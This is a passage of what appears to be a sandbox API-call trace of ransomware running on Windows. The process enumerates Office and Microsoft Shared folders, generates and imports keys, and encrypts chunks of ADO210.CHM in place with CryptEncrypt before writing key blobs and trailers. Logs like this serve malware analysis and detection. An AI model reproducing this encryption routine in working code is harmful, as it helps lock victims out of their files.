dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.817] GetLastError () returned 0x5 [0168.817] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe268a454, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe287960d, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe287960d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0168.817] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0168.817] GetProcessHeap () returned 0x2ef0000 [0168.817] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3e278 | out: hHeap=0x2ef0000) returned 1 [0168.817] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0168.817] FindClose (in: hFindFile=0x2f18288 | out: hFindFile=0x2f18288) returned 1 [0168.817] GetProcessHeap () returned 0x2ef0000 [0168.817] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f16e68 | out: hHeap=0x2ef0000) returned 1 [0168.817] FindNextFileW (in: hFindFile=0x2f18208, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69dc9750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSClientDataMgr", cAlternateFileName="MSCLIE~1")) returned 1 [0168.817] GetProcessHeap () returned 0x2ef0000 [0168.817] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8e) returned 0x2f14588 [0168.817] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\*.*", lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69dc9750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f18288 [0168.818] GetProcessHeap () returned 0x2ef0000 [0168.818] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14588 | out: hHeap=0x2ef0000) returned 1 [0168.818] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69dc9750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0168.819] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad59fd00, ftCreationTime.dwHighDateTime=0x1ca9454, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad59fd00, ftLastWriteTime.dwHighDateTime=0x1ca9454, nFileSizeHigh=0x0, nFileSizeLow=0x665a0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSCDM.DLL", cAlternateFileName="")) returned 1 [0168.819] GetProcessHeap () returned 0x2ef0000 [0168.819] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x290) returned 0x2f16e68 [0168.819] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad59fd00, ftCreationTime.dwHighDateTime=0x1ca9454, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad59fd00, ftLastWriteTime.dwHighDateTime=0x1ca9454, nFileSizeHigh=0x0, nFileSizeLow=0x665a0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSCDM.DLL", cAlternateFileName="")) returned 0 [0168.819] FindClose (in: hFindFile=0x2f18288 | out: hFindFile=0x2f18288) returned 1 [0168.819] GetProcessHeap () returned 0x2ef0000 [0168.819] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f16e68 | out: hHeap=0x2ef0000) returned 1 [0168.819] FindNextFileW (in: hFindFile=0x2f18208, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSInfo", cAlternateFileName="")) returned 1 [0168.819] GetProcessHeap () returned 0x2ef0000 [0168.819] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x7c) returned 0x2f123a0 [0168.819] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\*.*", lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f18288 [0168.819] GetProcessHeap () returned 0x2ef0000 [0168.819] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f123a0 | out: hHeap=0x2ef0000) returned 1 [0168.819] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0168.820] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-US", cAlternateFileName="")) returned 1 [0168.820] GetProcessHeap () returned 0x2ef0000 [0168.820] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x27e) returned 0x2f16e68 [0168.820] GetProcessHeap () returned 0x2ef0000 [0168.820] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x88) returned 0x2f170f0 [0168.820] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0168.820] GetProcessHeap () returned 0x2ef0000 [0168.820] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f170f0 | out: hHeap=0x2ef0000) returned 1 [0168.820] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0168.820] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0a09f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca0a09f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x6800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msinfo32.exe.mui", cAlternateFileName="")) returned 1 [0168.820] GetProcessHeap () returned 0x2ef0000 [0168.820] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x28a) returned 0x2f3e278 [0168.820] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.821] GetLastError () returned 0x5 [0168.821] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0a09f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca0a09f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x6800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msinfo32.exe.mui", cAlternateFileName="")) returned 0 [0168.821] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0168.821] GetProcessHeap () returned 0x2ef0000 [0168.821] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3e278 | out: hHeap=0x2ef0000) returned 1 [0168.821] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x830a4e7c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x830a4e7c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x830cafdd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5c800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msinfo32.exe", cAlternateFileName="")) returned 1 [0168.821] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x830a4e7c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x830a4e7c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x830cafdd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5c800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msinfo32.exe", cAlternateFileName="")) returned 0 [0168.821] FindClose (in: hFindFile=0x2f18288 | out: hFindFile=0x2f18288) returned 1 [0168.821] GetProcessHeap () returned 0x2ef0000 [0168.821] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f16e68 | out: hHeap=0x2ef0000) returned 1 [0168.821] FindNextFileW (in: hFindFile=0x2f18208, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5d93940, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OFFICE14", cAlternateFileName="")) returned 1 [0168.821] GetProcessHeap () returned 0x2ef0000 [0168.821] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x80) returned 0x2f123a0 [0168.821] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5d93940, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f18288 [0168.822] GetProcessHeap () returned 0x2ef0000 [0168.822] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f123a0 | out: hHeap=0x2ef0000) returned 1 [0168.822] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5d93940, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0168.822] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc24d0020, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 1 [0168.822] GetProcessHeap () returned 0x2ef0000 [0168.823] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x282) returned 0x2f16e68 [0168.823] GetProcessHeap () returned 0x2ef0000 [0168.823] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8a) returned 0x2f170f8 [0168.823] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc24d0020, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0168.824] GetProcessHeap () returned 0x2ef0000 [0168.824] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f170f8 | out: hHeap=0x2ef0000) returned 1 [0168.824] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc24d0020, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0168.824] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81925f00, ftCreationTime.dwHighDateTime=0x1caca23, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x81925f00, ftLastWriteTime.dwHighDateTime=0x1caca23, nFileSizeHigh=0x0, nFileSizeLow=0x305a8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ACEINTL.DLL", cAlternateFileName="")) returned 1 [0168.825] GetProcessHeap () returned 0x2ef0000 [0168.825] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x28c) returned 0x2f3e278 [0168.825] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0xcdb0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ACEODBCI.DLL", cAlternateFileName="")) returned 1 [0168.825] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x51d0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ACERECR.DLL", cAlternateFileName="")) returned 1 [0168.825] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81925f00, ftCreationTime.dwHighDateTime=0x1caca23, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x81925f00, ftLastWriteTime.dwHighDateTime=0x1caca23, nFileSizeHigh=0x0, nFileSizeLow=0xd2990, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ACEWSTR.DLL", cAlternateFileName="")) returned 1 [0168.825] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f139500, ftCreationTime.dwHighDateTime=0x1c69359, ftLastAccessTime.dwLowDateTime=0xee2ce510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7f139500, ftLastWriteTime.dwHighDateTime=0x1c69359, nFileSizeHigh=0x0, nFileSizeLow=0x19a3ff, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ADO210.CHM", cAlternateFileName="")) returned 1 [0168.825] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0168.825] GetFileSizeEx (in: hFile=0x114, lpFileSize=0x4dfeff8 | out: lpFileSize=0x4dfeff8*=1680383) returned 1 [0168.825] GetProcessHeap () returned 0x2ef0000 [0168.825] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0168.825] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0168.825] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.825] WriteFile (in: hFile=0x114, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x4dfefe4, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe4*=0x1, lpOverlapped=0x0) returned 1 [0168.828] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefe8 | out: phKey=0x4dfefe8*=0x2f18308) returned 1 [0168.828] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0168.828] GetProcessHeap () returned 0x2ef0000 [0168.828] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0168.828] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dfefc8*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dfefc8*=0x30) returned 1 [0168.828] CryptDestroyKey (hKey=0x2f18308) returned 1 [0168.828] WriteFile (in: hFile=0x114, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dfefe4, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dfefe4*=0x30, lpOverlapped=0x0) returned 1 [0168.828] WriteFile (in: hFile=0x114, lpBuffer=0x4dfefec*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe4, lpOverlapped=0x0 | out: lpBuffer=0x4dfefec*, lpNumberOfBytesWritten=0x4dfefe4*=0x4, lpOverlapped=0x0) returned 1 [0168.828] WriteFile (in: hFile=0x114, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe4, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe4*=0x10, lpOverlapped=0x0) returned 1 [0168.828] WriteFile (in: hFile=0x114, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe4, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe4*=0x80, lpOverlapped=0x0) returned 1 [0168.828] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0168.828] WriteFile (in: hFile=0x114, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe4, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe4*=0x8, lpOverlapped=0x0) returned 1 [0168.828] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefe8 | out: phKey=0x4dfefe8*=0x2f18308) returned 1 [0168.828] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0168.828] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfefb8 | out: lpNewFilePointer=0x0) returned 1 [0168.828] ReadFile (in: hFile=0x114, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dfefac, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfefac*=0x40000, lpOverlapped=0x0) returned 1 [0168.847] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefb4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefb4*=0x40000) returned 1 [0168.850] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.850] WriteFile (in: hFile=0x114, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dfefb0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefb0*=0x40000, lpOverlapped=0x0) returned 1 [0168.885] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x19a4c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.886] WriteFile (in: hFile=0x114, lpBuffer=0x4dfefb8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefb0, lpOverlapped=0x0 | out: lpBuffer=0x4dfefb8*, lpNumberOfBytesWritten=0x4dfefb0*=0x8, lpOverlapped=0x0) returned 1 [0168.886] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x88bff, lpNewFilePointer=0x0, dwMoveMethod=0x4dfefb8 | out: lpNewFilePointer=0x0) returned 1 [0168.886] ReadFile (in: hFile=0x114, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dfefac, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfefac*=0x40000, lpOverlapped=0x0) returned 1 [0168.892] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefb4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefb4*=0x40000) returned 1 [0168.895] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x88bff, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.895] WriteFile (in: hFile=0x114, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dfefb0, lpOverlapped=0x0 | 